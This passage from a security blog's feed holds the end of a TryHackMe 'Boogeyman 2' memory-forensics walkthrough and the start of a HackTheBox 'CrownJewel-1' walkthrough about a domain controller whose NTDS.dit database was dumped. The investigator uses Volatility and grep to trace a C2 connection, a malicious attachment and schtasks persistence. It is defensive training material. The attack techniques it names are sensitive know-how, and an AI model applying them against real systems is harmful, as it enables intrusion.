binary&lt;/em&gt; that we’re looking for.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;9905215e171aca607ff27f6c42f23638_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;2493px&#34; data-flex-grow=&#34;1038&#34; height=&#34;77&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-boogeyman-2-challenge-walkthrough/9905215e171aca607ff27f6c42f23638_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-11-what-is-the-pid-of-the-malicious-process-used-to-establish-the-c2-connection&#34;&gt;Question 11: What is the PID of the malicious process used to establish the C2 connection?&#xA;&lt;/h3&gt;&lt;p&gt;Although this is a bit out of order, we already found the answer by searching for the child process in the previous question. Now, we just need to input the &lt;em&gt;PID&lt;/em&gt; of the child process we found.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;225dae12a1d626efc1a5c39cd6b28dc0_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;4682px&#34; data-flex-grow=&#34;1951&#34; height=&#34;41&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-boogeyman-2-challenge-walkthrough/225dae12a1d626efc1a5c39cd6b28dc0_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;48fbf76b77f0ebd44810381590ef3711_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;2594px&#34; data-flex-grow=&#34;1081&#34; height=&#34;74&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-boogeyman-2-challenge-walkthrough/48fbf76b77f0ebd44810381590ef3711_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-12-what-is-the-full-file-path-of-the-malicious-process-used-to-establish-the-c2-connection&#34;&gt;Question 12: What is the full file path of the malicious process used to establish the C2 connection?&#xA;&lt;/h3&gt;&lt;p&gt;To answer &lt;strong&gt;Question 12&lt;/strong&gt;, we need to find the full file path of the malicious child process. For this task, we can use the &lt;em&gt;Volatility&lt;/em&gt; &lt;code&gt;windows.cmdline&lt;/code&gt; plugin.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;09081b441333a1165562fd881ea32029_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;4140px&#34; data-flex-grow=&#34;1725&#34; height=&#34;40&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-boogeyman-2-challenge-walkthrough/09081b441333a1165562fd881ea32029_MD5.png&#34; width=&#34;690&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;This plugin can help us by showing not only the process &lt;em&gt;command line arguments&lt;/em&gt; but also the executable file path of the process.&lt;/p&gt;&#xA;&lt;p&gt;vol -f WKSTN-2961.raw windows.cmdline &amp;ndash;pid PID-FROM-QUESTION-11&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;3b1f0d6d31e8c222005117261b81c634_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;1828px&#34; data-flex-grow=&#34;761&#34; height=&#34;105&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-boogeyman-2-challenge-walkthrough/3b1f0d6d31e8c222005117261b81c634_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;61be176f1a4583b59bb4750d72c26e12_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;2823px&#34; data-flex-grow=&#34;1176&#34; height=&#34;68&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-boogeyman-2-challenge-walkthrough/61be176f1a4583b59bb4750d72c26e12_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-13-what-is-the-ip-address-and-port-of-the-c2-connection-initiated-by-the-malicious-binary-format-ip-addressport&#34;&gt;Question 13: What is the IP address and port of the C2 connection initiated by the malicious binary? (Format: IP address:port)&#xA;&lt;/h3&gt;&lt;p&gt;Now that we know the &lt;em&gt;PID&lt;/em&gt; and &lt;em&gt;file path&lt;/em&gt; of the malicious binary, let’s dive deeper and search for any network connections established by the process, which could lead us to the &lt;em&gt;command and control (C2)&lt;/em&gt; server.&lt;/p&gt;&#xA;&lt;p&gt;We’ll use the &lt;code&gt;[windows.netscan](https://github.com/volatilityfoundation/volatility/wiki/Command-Reference#netscan)&lt;/code&gt; plugin to scan for network artifacts like &lt;em&gt;IP addresses, ports,&lt;/em&gt; and &lt;em&gt;protocols.&lt;/em&gt; Then, we’ll combine it with &lt;em&gt;grep&lt;/em&gt; to filter the relevant results for the malicious process &lt;em&gt;PID&lt;/em&gt; from &lt;strong&gt;Question 11.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;vol -f WKSTN-2961.raw windows.netscan | grep -i &amp;ldquo;PID-FROM-QUESTION-11&amp;rdquo;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;2ac8fd7894045032933e1b4b7f73fbc1_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;1078px&#34; data-flex-grow=&#34;449&#34; height=&#34;267&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-boogeyman-2-challenge-walkthrough/2ac8fd7894045032933e1b4b7f73fbc1_MD5.png&#34; srcset=&#34;https://stumblesec.com/posts/tryhackme-boogeyman-2-challenge-walkthrough/2ac8fd7894045032933e1b4b7f73fbc1_MD5_hu_2ec6683bd3ed63d5.png 800w, https://stumblesec.com/posts/tryhackme-boogeyman-2-challenge-walkthrough/2ac8fd7894045032933e1b4b7f73fbc1_MD5.png 1200w&#34; width=&#34;1200&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Volatility windows.netscan output for the malicious binary&lt;/p&gt;&#xA;&lt;p&gt;Once we run the command, we’ll see the output table listing the external &lt;em&gt;ForeignAddr&lt;/em&gt; and &lt;em&gt;ForignPort&lt;/em&gt; columns that the malicious binary is connected to. These should be the IP address and port of the &lt;em&gt;C2 connection&lt;/em&gt; we are looking for.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;37fc150962f29bdd4f1da35c45247b92_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;2526px&#34; data-flex-grow=&#34;1052&#34; height=&#34;76&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-boogeyman-2-challenge-walkthrough/37fc150962f29bdd4f1da35c45247b92_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-14-what-is-the-full-file-path-of-the-malicious-email-attachment-based-on-the-memorydump&#34;&gt;Question 14: What is the full file path of the malicious email attachment based on the memory dump?&#xA;&lt;/h3&gt;&lt;p&gt;We already identified the name of the &lt;em&gt;malicious attachment&lt;/em&gt; in &lt;strong&gt;Question 3,&lt;/strong&gt; which gets us halfway to our goal. Now, we just need to find the &lt;em&gt;full file path&lt;/em&gt; of the downloaded email on the victim’s system.&lt;/p&gt;&#xA;&lt;p&gt;To accomplish this, we can use &lt;em&gt;Volatility’s&lt;/em&gt; &lt;code&gt;[windows.filescan](https://github.com/volatilityfoundation/volatility/wiki/Command-Reference#filescan)&lt;/code&gt; plugin to search for file objects within the image.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;5549fab29117d944a140d7a8e64a43a5_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;5052px&#34; data-flex-grow=&#34;2105&#34; height=&#34;38&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-boogeyman-2-challenge-walkthrough/5549fab29117d944a140d7a8e64a43a5_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Using &lt;em&gt;grep&lt;/em&gt; to search the term “&lt;em&gt;Resume,&lt;/em&gt;” we can uncover the path of the malicious CV sent by the &lt;em&gt;Boogeyman&lt;/em&gt; threat actor.&lt;/p&gt;&#xA;&lt;p&gt;vol -f WKSTN-2961.raw windows.filescan | grep &amp;ldquo;Resume&amp;rdquo;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;da687f275e84174365003bfa23c13e92_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;5052px&#34; data-flex-grow=&#34;2105&#34; height=&#34;57&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-boogeyman-2-challenge-walkthrough/da687f275e84174365003bfa23c13e92_MD5.png&#34; srcset=&#34;https://stumblesec.com/posts/tryhackme-boogeyman-2-challenge-walkthrough/da687f275e84174365003bfa23c13e92_MD5_hu_ff53558de1e40531.png 800w, https://stumblesec.com/posts/tryhackme-boogeyman-2-challenge-walkthrough/da687f275e84174365003bfa23c13e92_MD5.png 1200w&#34; width=&#34;1200&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Although there are two entries, we can see the file path in the image points to the same temporary &lt;em&gt;Microsoft&lt;/em&gt; &lt;em&gt;Outlook&lt;/em&gt; content storage folder.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;37ee4b170a8ddd9166f38c63901ebeb1_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;2704px&#34; data-flex-grow=&#34;1126&#34; height=&#34;71&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-boogeyman-2-challenge-walkthrough/37ee4b170a8ddd9166f38c63901ebeb1_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-15-the-attacker-implanted-a-scheduled-task-right-after-establishing-the-c2-callback-what-is-the-full-command-used-by-the-attacker-to-maintain-persistent-access&#34;&gt;Question 15: The attacker implanted a scheduled task right after establishing the c2 callback. What is the full command used by the attacker to maintain persistent access?&#xA;&lt;/h3&gt;&lt;p&gt;Okay, we’ve made it to the last step. To finally unmask the &lt;em&gt;Boogeyman&lt;/em&gt; this time, we need to analyze the &lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/techniques/T1053/005/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;scheduled task&lt;/a&gt; that the threat actor used for &lt;em&gt;persistence&lt;/em&gt; on the victim’s system (&lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/techniques/T1053/005/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;em&gt;MITRE ATT&amp;amp;CK T1053.005&lt;/em&gt;&lt;/a&gt;&lt;em&gt;.&lt;/em&gt;)&lt;/p&gt;&#xA;&lt;p&gt;To do this, we’re going to use &lt;strong&gt;&lt;em&gt;strings&lt;/em&gt;&lt;/strong&gt; on the &lt;em&gt;RAW&lt;/em&gt; dump file again but this time we’ll look for &lt;em&gt;Windows Task Scheduler&lt;/em&gt; artifacts. There are two ways that this can be done, let’s take a brief look at what we will search for.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;&lt;em&gt;taskschd&lt;/em&gt;&lt;/strong&gt;&lt;em&gt;:&lt;/em&gt; This is the &lt;em&gt;GUI&lt;/em&gt; version of the &lt;em&gt;Task Scheduler&lt;/em&gt; in &lt;em&gt;Windows&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/schtasks&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;&lt;em&gt;schtasks&lt;/em&gt;&lt;/strong&gt;&lt;/a&gt;&lt;em&gt;:&lt;/em&gt; This is the &lt;em&gt;CLI&lt;/em&gt; version of the &lt;em&gt;Task Scheduler&lt;/em&gt; in &lt;em&gt;Windows&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;p&gt;We’re going to try both and see if we can find any relevant artifacts starting with &lt;em&gt;taskschd&lt;/em&gt;:&lt;/p&gt;&#xA;&lt;p&gt;strings WKSTN-2961.raw | grep -i &amp;ldquo;taskschd&amp;rdquo;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;9f43125bd40884c698d72ee57eec7766_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;1523px&#34; data-flex-grow=&#34;634&#34; height=&#34;126&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-boogeyman-2-challenge-walkthrough/9f43125bd40884c698d72ee57eec7766_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;It doesn’t seem like there is anything interesting here. Let’s try &lt;em&gt;schtasks&lt;/em&gt; next:&lt;/p&gt;&#xA;&lt;p&gt;strings WKSTN-2961.raw | grep -i &amp;ldquo;schtasks&amp;rdquo;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;b3e8fa26a0262d14aa2a16b3678ffa59_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;707px&#34; data-flex-grow=&#34;294&#34; height=&#34;407&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-boogeyman-2-challenge-walkthrough/b3e8fa26a0262d14aa2a16b3678ffa59_MD5.png&#34; srcset=&#34;https://stumblesec.com/posts/tryhackme-boogeyman-2-challenge-walkthrough/b3e8fa26a0262d14aa2a16b3678ffa59_MD5_hu_9c831689cb4de539.png 800w, https://stumblesec.com/posts/tryhackme-boogeyman-2-challenge-walkthrough/b3e8fa26a0262d14aa2a16b3678ffa59_MD5.png 1200w&#34; width=&#34;1200&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Now we’ve found something interesting, the threat actor has created a new task using &lt;em&gt;schtasks&lt;/em&gt;. This is exactly what we need to answer the last question and wrap up this investigation!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;18faa0ecf4e076c7b0d9095c2f2064ef_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;2400px&#34; data-flex-grow=&#34;1000&#34; height=&#34;80&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-boogeyman-2-challenge-walkthrough/18faa0ecf4e076c7b0d9095c2f2064ef_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;conclusion&#34;&gt;Conclusion:&#xA;&lt;/h3&gt;&lt;p&gt;Mission accomplished! We have completed our frighteningly fun investigation of &lt;a class=&#34;link&#34; href=&#34;https://tryhackme.com/r/room/boogeyman2&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Boogeyman 2&lt;/strong&gt;&lt;/a&gt;! Using our forensic skills, we discovered that this time the &lt;em&gt;Boogeyman&lt;/em&gt; infected the victim’s device through email with a malicious attachment. Then the threat actor used &lt;em&gt;living-off-the-land binaries&lt;/em&gt; to download a &lt;em&gt;stage 2 payload,&lt;/em&gt; establish command and control, and maintain persistent access using &lt;em&gt;schtasks&lt;/em&gt;. Now, let’s wrap this investigation!&lt;/p&gt;&#xA;&lt;p&gt;A huge thank you to &lt;a class=&#34;link&#34; href=&#34;https://tryhackme.com/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;TryHackMe&lt;/strong&gt;&lt;/a&gt; for the excellent part II of the &lt;em&gt;Boogeyman&lt;/em&gt; series. This challenge is perfect for sharpening our security skills during the spooky Halloween season! I was really impressed with the dimensions of this room, as it had two different scopes and a complete narrative of the &lt;em&gt;Boogeyman’s&lt;/em&gt; return. The detail and flow were much closer to a real-world simulation exercise than others I have completed. It was really engaging to see how the fictional threat actor changed tactics, techniques, and procedures between the two rooms.&lt;/p&gt;&#xA;&lt;p&gt;If you want to brave the next &lt;em&gt;Boogeyman&lt;/em&gt; adventure with me, please check out my walkthrough of the &lt;strong&gt;Boogeyman 3.&lt;/strong&gt; Until the &lt;em&gt;Boogeyman&lt;/em&gt; returns yet again, stay vigilant!&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://stumblesec.com/posts/tryhackme-boogeyman-3-challenge-walkthrough/&#34; &gt;&lt;strong&gt;TryHackMe — Boogeyman 3 Challenge Walkthrough&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;But if this is the end of our journey together, please consider giving this walkthrough a clap if you found this walkthrough helpful in leveling up your skills or getting you through a tricky question. Your feedback lets me know that I helped you out on your security journey. We’re in this together! Thanks for the support!&lt;/p&gt;&#xA;&lt;h3 id=&#34;tools--references&#34;&gt;Tools &amp;amp; References:&#xA;&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;Olevba:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://github.com/decalage2/oletools/wiki/olevba&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://github.com/decalage2/oletools/wiki/olevba&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Volatility Framework:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://github.com/volatilityfoundation/volatility3&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://github.com/volatilityfoundation/volatility3&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Volatility Command Reference:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://github.com/volatilityfoundation/volatility/wiki/Command-Reference&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://github.com/volatilityfoundation/volatility/wiki/Command-Reference&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Microsoft Learn (schtasks):&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/schtasks&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;schtasks commands | Microsoft Learn&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;MITRE ATT&amp;amp;CK — Scheduled Task/Job: Scheduled Task (T1053.005):&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/techniques/T1053/005/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://attack.mitre.org/techniques/T1053/005/&lt;/a&gt;&lt;/p&gt;&#xA;</description>
        </item><item>
            <title>HackTheBox  — CrownJewel-1 Sherlock Walkthrough</title>
            <link>https://stumblesec.com/posts/hackthebox-crownjewel-1-sherlock-walkthrough/</link>
            <pubDate>Sun, 13 Oct 2024 00:00:00 +0000</pubDate>
            <guid>https://stumblesec.com/posts/hackthebox-crownjewel-1-sherlock-walkthrough/</guid>
            <description>&lt;img src=&#34;https://stumblesec.com/posts/hackthebox-crownjewel-1-sherlock-walkthrough/7fc378acec965ea18659c432f86858dd_MD5.png&#34; alt=&#34;Featured image of post HackTheBox  — CrownJewel-1 Sherlock Walkthrough&#34; /&gt;&lt;h3 id=&#34;hacktheboxcrownjewel-1-sherlock-walkthrough&#34;&gt;HackTheBox — CrownJewel-1 Sherlock Walkthrough&#xA;&lt;/h3&gt;&lt;h4 id=&#34;investigating-a-compromised-domain-controller-with-windows-event-logs-andmftecmd&#34;&gt;Investigating a Compromised Domain Controller with Windows Event Logs and MFTECmd&#xA;&lt;/h4&gt;&lt;p&gt;&lt;img alt=&#34;7fc378acec965ea18659c432f86858dd_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;240px&#34; data-flex-grow=&#34;100&#34; height=&#34;300&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/hackthebox-crownjewel-1-sherlock-walkthrough/7fc378acec965ea18659c432f86858dd_MD5.png&#34; width=&#34;300&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Image Credit: &lt;a class=&#34;link&#34; href=&#34;https://app.hackthebox.com/sherlocks/CrownJewel-1/play&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://app.hackthebox.com/sherlocks/CrownJewel-1/play&lt;/a&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;introduction&#34;&gt;Introduction:&#xA;&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;Imagine this:&lt;/strong&gt; You’re on the front lines of an organization’s security team when suddenly, alerts start firing from a domain controller about suspicious use of the V_olume Shadow Copy Service_ and a potential dump of the &lt;em&gt;NTDS.dit&lt;/em&gt; database containing the domain’s secrets. You need to dive into the artifacts, investigate the logs, and triage this incident. If this sounds exciting to you, you’ve stumbled on the right blog!&lt;/p&gt;&#xA;&lt;p&gt;Welcome to my weekly walkthrough! This week, we’re tackling the &lt;a class=&#34;link&#34; href=&#34;https://app.hackthebox.com/sherlocks/CrownJewel-1&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;CrownJewel-1&lt;/strong&gt;&lt;/a&gt; challenge from &lt;a class=&#34;link&#34; href=&#34;https://app.hackthebox.com/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Hack The Box&lt;/strong&gt;&lt;/a&gt;! In this &lt;em&gt;digital forensics and incident response (DFIR)&lt;/em&gt; challenge, we defenders will explore the &lt;em&gt;NTDS.dit&lt;/em&gt; database and how it was accessed via the &lt;em&gt;Volume Shadow Copy Service.&lt;/em&gt; Our goal is to uncover critical details such as the start time of the service, the accounts that were enumerated, the process ID of the service, the GUID of the volume, and the path and file sizes of the dumped file on the disk through the &lt;em&gt;Master File Table&lt;/em&gt; (&lt;em&gt;MFT&lt;/em&gt;). To do this, we’ll leverage the domain controller’s &lt;em&gt;Windows Event logs&lt;/em&gt; and &lt;em&gt;Eric Zimmerman’s&lt;/em&gt; &lt;a class=&#34;link&#34; href=&#34;https://github.com/EricZimmerman/MFTECmd&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;em&gt;MFTECmd&lt;/em&gt;&lt;/a&gt; tool.&lt;/p&gt;&#xA;&lt;p&gt;While this challenge is geared toward beginners, it’s a fantastic lab to get some hands-on time with &lt;em&gt;MFTECmd&lt;/em&gt; and practice log analysis for all skill levels. So, let’s grab our magnifying glasses and get ready to investigate!&lt;/p&gt;&#xA;&lt;p&gt;And if you find this walkthrough helpful in leveling up your skills or getting you through a tricky question, &lt;strong&gt;give it a clap&lt;/strong&gt;! Your feedback helps me improve and continue supporting your security journey.&lt;/p&gt;&#xA;&lt;p&gt;Thanks for reading!&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Challenge Link:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://app.hackthebox.com/sherlocks/CrownJewel-1&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://app.hackthebox.com/sherlocks/CrownJewel-1&lt;/a&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;challenge-scenario&#34;&gt;Challenge Scenario:&#xA;&lt;/h3&gt;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;Forela’s domain controller is under attack. The Domain Administrator account is believed to be compromised, and it is suspected that the threat actor dumped the NTDS.dit database on the DC. We just received an alert of vssadmin being used on the DC, since this is not part of the routine schedule we have good reason to believe that the attacker abused this LOLBIN utility to get the Domain environment’s crown jewel. Perform some analysis on provided artifacts for a quick triage and if possible kick the attacker as early as possible.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;setup-the-analysis-environment--extract-the-challenge-file&#34;&gt;Setup the Analysis Environment &amp;amp; Extract the challenge file:&#xA;&lt;/h3&gt;&lt;p&gt;Safety first! It’s always important when working with lab/challenge files from &lt;em&gt;Hack the Box (or any educational lab/challenge/range)&lt;/em&gt; to keep yourself protected by performing these tasks in a dedicated, isolated virtual machine environment. For example, since this is a _Windows-_based lab, I’m using &lt;a class=&#34;link&#34; href=&#34;https://github.com/mandiant/flare-vm&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;FLARE-VM&lt;/strong&gt;&lt;/a&gt; for this challenge and walkthrough.&lt;/p&gt;&#xA;&lt;p&gt;To keep this write-up focused I’m going to skip the step-by-step setup of &lt;em&gt;FLARE-VM&lt;/em&gt; but _i_f you’d like to set up your own environment, please follow the directions provided directly by &lt;em&gt;FLARE-VM&lt;/em&gt; on &lt;em&gt;GitHub.&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://github.com/mandiant/flare-vm&#34;  title=&#34;https://github.com/mandiant/flare-vm&#34;&#xA;     target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;GitHub - mandiant/flare-vm: A collection of software installations scripts for Windows systems that…&lt;/strong&gt;&#xA;_A collection of software installations scripts for Windows systems that allows you to easily setup and maintain a…_github.com&lt;/a&gt;&lt;a class=&#34;link&#34; href=&#34;https://github.com/mandiant/flare-vm&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Okay! Once we have our virtual environment created, updated, isolated, and snapshotted, we can extract the challenge file and start the investigation!&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-1-attackers-can-abuse-the-vssadmin-utility-to-create-volume-shadow-snapshots-and-then-extract-sensitive-files-like-ntdsdit-to-bypass-security-mechanisms-identify-the-time-when-the-volume-shadow-copy-service-entered-a-runningstate&#34;&gt;Question 1: Attackers can abuse the vssadmin utility to create volume shadow snapshots and then extract sensitive files like NTDS.dit to bypass security mechanisms. Identify the time when the Volume Shadow Copy service entered a running state.&#xA;&lt;/h3&gt;&lt;p&gt;Let’s start the triage process! Personally, I find that it’s always a good practice to familiarize myself of what artifacts are available for analysis. Let’s take a quick look at what we have been provided first:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;73956c4cf229c07c1aff8d3f1b1e315c_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;622px&#34; data-flex-grow=&#34;259&#34; height=&#34;289&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/hackthebox-crownjewel-1-sherlock-walkthrough/73956c4cf229c07c1aff8d3f1b1e315c_MD5.png&#34; width=&#34;750&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;3ff0858313dee627890a7d79f820b3ae_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;1055px&#34; data-flex-grow=&#34;439&#34; height=&#34;171&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/hackthebox-crownjewel-1-sherlock-walkthrough/3ff0858313dee627890a7d79f820b3ae_MD5.png&#34; width=&#34;752&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;All right, we have three &lt;em&gt;Windows Event Logs&lt;/em&gt; and the &lt;em&gt;$MFT&lt;/em&gt;. We’ll go into each one of these in more detail as they come up during the investigation, but this gives us at least some idea of how we’ll investigate this incident.&lt;/p&gt;&#xA;&lt;p&gt;Next, let’s gain a better understanding of what we are investigating and why. For this, let’s check out the &lt;a 